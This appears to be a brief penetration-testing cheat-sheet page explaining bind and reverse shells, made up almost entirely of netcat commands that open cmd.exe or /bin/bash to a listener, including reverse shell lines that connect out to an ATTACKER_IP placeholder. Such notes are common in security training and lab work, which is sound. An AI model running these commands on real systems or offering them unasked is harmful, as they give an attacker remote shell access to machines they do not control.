Skip to content

Remote Shells

There are two types: - Bind Shells - Reverse Shells

Bind Shell

The listener is set on the target system.

  • On the target (Windows): nc -nvlp PORT -e cmd.exe
  • On the target (Linux): nc -nvlp PORT -e /bin/bash
  • Attacker: nc -nv TARGET_IP TARGET_PORT

Reverse Shell

The listener is set on the attacker system. - Attacker: nc -nvlp PORT - On the target (Windows): nc -nv ATTACKER_IP PORT -e cmd.exe - On the target (Linux): nc -nv ATTACKER_IP PORT -e /bin/bash

Reverse Shell Cheatsheet